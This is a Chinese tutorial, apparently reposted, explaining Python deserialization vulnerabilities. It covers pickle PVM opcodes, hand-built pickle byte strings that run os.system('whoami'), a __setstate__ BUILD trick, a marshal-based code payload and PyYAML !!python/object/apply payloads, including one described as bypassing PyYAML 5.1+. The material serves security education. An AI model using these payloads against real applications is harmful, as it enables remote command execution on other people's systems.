>首页> IT >

带你搞懂Python反序列化

时间:2022-03-28 12:58:19       来源:转载
本篇文章给大家带来了关于python的相关知识,其中主要介绍了关于反序列化的相关问题,反序列化:pickle.loads() 将字符串反序列化为对象、pickle.load() 从文件中读取数据反序列化,希望对大家有帮助。

推荐学习:python教程

Python反序列化漏洞

Pickle

序列化:pickle.dumps()将对象序列化为字符串、pickle.dump()将对象序列化后的字符串存储为文件反序列化:pickle.loads()将字符串反序列化为对象、pickle.load()从文件中读取数据反序列化

可序列化的对象

NoneTrueFalse整数、浮点数、复数str、byte、bytearray只包含可封存对象的集合,包括 tuple、list、set 和 dict定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)定义在模块最外层的内置函数定义在模块最外层的类__dict__属性值或 __getstate__()函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)

反序列化流程

pickle.load()和pickle.loads()方法的底层实现是基于 _Unpickler()方法来反序列化

在反序列化过程中,_Unpickler(以下称为机器吧)维护了两个东西:栈区和存储区

为了研究它,需要利用一个调试器 pickletools

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wUDq6S9E-1642832623478)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20220121114238511.png)]

从图中可以看出,序列化后的字符串实际上是一串 PVM(Pickle Virtual Machine) 指令码,指令码以栈的形式存储、解析

PVM指令集

完整PVM指令集可以在 pickletools.py中查看,不同协议版本使用的指令集略有不同

上图中的指令码可以翻译成:

0: \x80 PROTO      3  # 协议版本    2: ]    EMPTY_LIST  # 将空列表推入栈    3: (    MARK  # 将标志推入栈    4: X        BINUNICODE "a"  # unicode字符   10: X        BINUNICODE "b"   16: X        BINUNICODE "c"   22: e        APPENDS    (MARK at 3)  # 将3号标准之后的数据推入列表   23: .    STOP  # 弹出栈中数据,结束highest protocol among opcodes = 2

指令集中有几个重要的指令码:

GLOBAL = b’c’ # 将两个以换行为结尾的字符串推入栈,第一个是模块名,第二个是类名,即可以调用全局变量 xxx.xxx的值REDUCE = b’R’ # 将可调用元组和参数元组生成的对象推进栈,即__reduce()返回的第一个值作为可执行函数,第二个值为参数,执行函数BUILD = b’b’ # 通过__setstate__或更新__dict__完成构建对象,如果对象具有__setstate__方法,则调用anyobject .__setstate__(参数);如果无__setstate__方法,则通过anyobject.__dict__.update(argument)更新值(更新可能会产生变量覆盖)STOP = b’.’ # 结束

一个更复杂的例子:

import pickleimport pickletoolsclass a_class():    def __init__(self):        self.age = 24        self.status = "student"        self.list = ["a", "b", "c"]a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 优化一个已经被打包的字符串a_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反汇编一个已经被打包的字符串pickletools.dis(a_class_pickle)
0: \x80 PROTO      3    2: c    GLOBAL     "__main__ a_class"   20: )    EMPTY_TUPLE  # 将空元组推入栈   21: \x81 NEWOBJ  # 表示前面的栈的内容为一个类(__main__ a_class),之后为一个元组(20行推入的元组),调用cls.__new__(cls, *args)(即用元组中的参数创建一个实例,这里元组实际为空)   22: }    EMPTY_DICT  # 将空字典推入栈   23: (    MARK   24: X        BINUNICODE "age"   32: K        BININT1    24   34: X        BINUNICODE "status"   45: X        BINUNICODE "student"   57: X        BINUNICODE "list"   66: ]        EMPTY_LIST   67: (        MARK   68: X            BINUNICODE "a"   74: X            BINUNICODE "b"   80: X            BINUNICODE "c"   86: e            APPENDS    (MARK at 67)   87: u        SETITEMS   (MARK at 23)  # 将将从23行开始传入的值以键值对添加到现有字典中   88: b    BUILD  # 更新字典完成构建   89: .    STOPhighest protocol among opcodes = 2

常见的函数执行

与函数执行相关的 PVM 指令集有三个: Rio,所以我们可以从三个方向进行构造:

R

b"""cossystem(S"whoami"tR."""

i

b"""(S"whoami"iossystem."""

o

b"""(cossystemS"whoami"o."""

__reduce()__命令执行

__recude()__魔法函数会在反序列化过程结束时自动调用,并返回一个元组。其中,第一个元素是一个可调用对象,在创建该对象的最初版本时调用,第二个元素是可调用对象的参数,使得反序列化时可能造成RCE漏洞

例:

class a_class():    def __reduce__(self):        return os.system, ("whoami",)# __reduce__()魔法方法的返回值:# os.system, ("whoami",)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:("whoami",),元组中被调用的参数 "whoami" 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system("whoami")
b"\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03."b"\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R."    0: \x80 PROTO      3    2: c    GLOBAL     "nt system"   13: X    BINUNICODE "whoami"   24: \x85 TUPLE1   25: R    REDUCE   26: .    STOPhighest protocol among opcodes = 2

将该字符串反序列化后将会执行命令 os.system("whoami")

全局变量覆盖

__reduce()_利用的是 R 指令码,造成REC,而利用 GLOBAL = b’c’ 指令码则可以触发全局变量覆盖

# secret.pya = aaaaaa
# unser.pyimport secretimport pickleclass flag():    def __init__(self, a):        self.a = ayour_payload = b"?"other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:    print("flag:{}".format(secret_flag.a))else:    print("No!")

在不知道 secret.a 的情况下要如何获得 flag 呢?

先尝试获得 flag() 的序列化字符串:

class flag():    def __init__(self, a):        self.a = anew_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
b"\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb."    0: \x80 PROTO      3    2: c    GLOBAL     "__main__ Flag"   17: q    BINPUT     0   19: )    EMPTY_TUPLE   20: \x81 NEWOBJ   21: q    BINPUT     1   23: }    EMPTY_DICT   24: q    BINPUT     2   26: X    BINUNICODE "a"   32: q    BINPUT     3   34: X    BINUNICODE "A"   40: q    BINPUT     4   42: s    SETITEM   43: b    BUILD   44: .    STOPhighest protocol among opcodes = 2

可以看到,在34行进行了传参,将变量 A 传入赋值给了a。若将 A 修改为全局变量 secret.a,即将 X BINUNICODE "A"改为 c GLOBAL "secret a"(X\x01\x00\x00\x00A改为 csecret\na\n)。将该字符串反序列化后,self.a 的值等于 secret.a 的值,成功获取 flag

利用BUILD指令RCE(不使用R指令)

通过BUILD指令与GLOBAL指令的结合,可以把现有类改写为os.system或其他函数

假设某个类原先没有__setstate__方法,我们可以利用{"__setstate__": os.system}来BUILE这个对象

BUILD指令执行时,因为没有__setstate__方法,所以就执行update,这个对象的__setstate__方法就改为了我们指定的os.system

接下来利用"whoami"来再次BUILD这个对象,则会执行setstate("whoami"),而此时__setstate__已经被我们设置为os.system,因此实现了RCE

例:

代码中存在一个任意类:

class payload:    def __init__(self):        pass

根据这个类构造 PVM 指令:

0: \x80 PROTO      3    2: c    GLOBAL     "__main__ payload"   17: q    BINPUT     0   19: )    EMPTY_TUPLE   20: \x81 NEWOBJ   21: }    EMPTY_DICT  # 使用BUILD,先放入一个字典   22: (    MARK  # 放值前先放一个标志   23: V        UNICODE    "__setstate__"  # 放键值对   37: c        GLOBAL     "nt system"   48: u        SETITEMS   (MARK at 22)   49: b    BUILD  # 第一次BUILD   50: V    UNICODE    "whoami"  # 加参数   58: b    BUILD  # 第二次BUILD   59: .    STOP

将上述 PVM 指令改写成 bytes 形式:b"\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.",使用 piclke.loads()反序列化后成功执行命令

利用Marshal模块造成任意函数执行

pickle 不能将代码对象序列化,但 python 提供了一个可以序列化代码对象的模块 Marshal

但是序列化的代码对象不再能使用 __reduce()_调用,因为__reduce__是利用调用某个可调用对象并传递参数来执行的,而我们这个函数本身就是一个可调用对象 ,我们需要执行它,而不是将他作为某个函数的参数。隐藏需要利用 typres模块来动态的创建匿名函数

import marshalimport typesdef code():    import os    print("hello")    os.system("whoami")code_pickle = base64.b64encode(marshal.dumps(code.__code__))  # python2为 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), "")()  # 利用types动态创建匿名函数并执行

pickle上使用:

import pickle# 将types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), "")()改写为 PVM 的形式s = b"""ctypesFunctionType(cmarshalloads(cbase64b64decode(S"4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE="tRtRc__builtin__globals(tRS""tR(tR."""pickle.loads(s)  # 字符串转换为 bytes

漏洞出现位置

解析认证 token、session 时将对象 pickle 后存储在磁盘文件将对象 pickle 后在网络中传输参数传递给程序

PyYAML

yaml是一种标记类语言,类似与 xmljson,各个支持yaml格式的语言都会有自己的实现来进行 yaml格式的解析(读取和保存),PyYAML就是 yaml的 python 实现

在使用 PyYAML库时,若使用了 yaml.load()而不是 yaml.safe_load()函数解析 yaml文件,则会导致反序列化漏洞的产生

原理

PyYAML有针对 python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:

!!python/object:          =>  Constructor.construct_python_object!!python/object/apply:    =>  Constructor.construct_python_object_apply!!python/object/new:      =>  Constructor.construct_python_object_new

例如:

# Test.pyimport yamlimport osclass test:    def __init__(self):        os.system("whoami")payload = yaml.dump(test())fp = open("sample.yml", "w")fp.write(payload)fp.close()

该代码执行后,会生成 sample.yml,并写入 !!python/object:__main__.test {}

将文件内容改为 !!python/object:Test.test {}再使用 yaml.load()解析该 yaml文件:

import yamlyaml.load(file("sample.yml", "w"))

命令成功执行。但是命令的执行依赖于 Test.py的存在,因为 yaml.load()时会根据yml文件中的指引去读取 Test.py中的 test这个对象(类)。如果删除 Test.py,也将运行失败

Payload

PyYAML< 5.1

想要消除依赖执行命令,就需要将其中的类或者函数换成 python 标准库中的类或函数,并使用另外两种 python 标签:

# 该标签可以在 PyYAML 解析再入 YAML 数据时,动态的创建 Python 对象!!python/object/apply:    =>  Constructor.construct_python_object_apply# 该标签会调用 apply!!python/object/new:      =>  Constructor.construct_python_object_new

利用这两个标签,就可以构造任意 payload:

!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]

PyYAML>= 5.1

在版本 PyYAML>= 5.1 后,限制了反序列化内置类方法以及导入并使用不存在的反序列化代码,并且在使用 load()方法时,需要加上 loader参数,直接使用时会爆出安全警告

在高版本中之前的 payload 已经失效,但可以使用 subporcess.getoutput()方法绕过检测:

!!python/object/apply:subprocess.getoutput- whoami

在最新版本上,命令执行成功

ruamel.yaml

ruamel.yaml的用法和PyYAML基本一样,并且默认支持更新的YAML1.2版本

在ruamel.yaml中反序列化带参数的序列化类方法,有以下方法:

load(data)load(data, Loader=Loader)load(data, Loader=UnsafeLoader)load(data, Loader=FullLoader)load_all(data)load_all(data, Loader=Loader)load_all(data, Loader=UnSafeLoader)load_all(data, Loader=FullLoader)

我们可以使用上述任何方法,甚至我们也可以通过提供数据来反序列化来直接调用load(),它将完美地反序列化它,并且我们的类方法将被执行

推荐学习:python学习教程

以上就是带你搞懂Python反序列化的详细内容,更多请关注php中文网其它相关文章!

关键词: 反序列化 全局变量 执行命令